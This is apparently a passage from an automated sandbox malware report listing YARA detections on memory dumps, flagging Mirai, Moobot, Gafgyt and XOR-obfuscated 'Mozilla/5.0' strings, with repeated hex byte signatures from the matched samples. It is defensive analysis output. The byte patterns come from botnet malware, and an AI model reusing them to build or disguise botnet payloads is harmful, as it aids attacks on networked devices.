0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6650.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6452.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6431.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6431.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6431.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6431.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6431.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6431.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6405.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6405.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6405.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6405.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6405.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6405.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6896.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6334.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6334.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6334.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6334.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6334.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6350.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6350.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7405.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7405.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7405.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7405.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7405.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6905.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6747.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6747.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6747.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6747.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6747.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6747.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
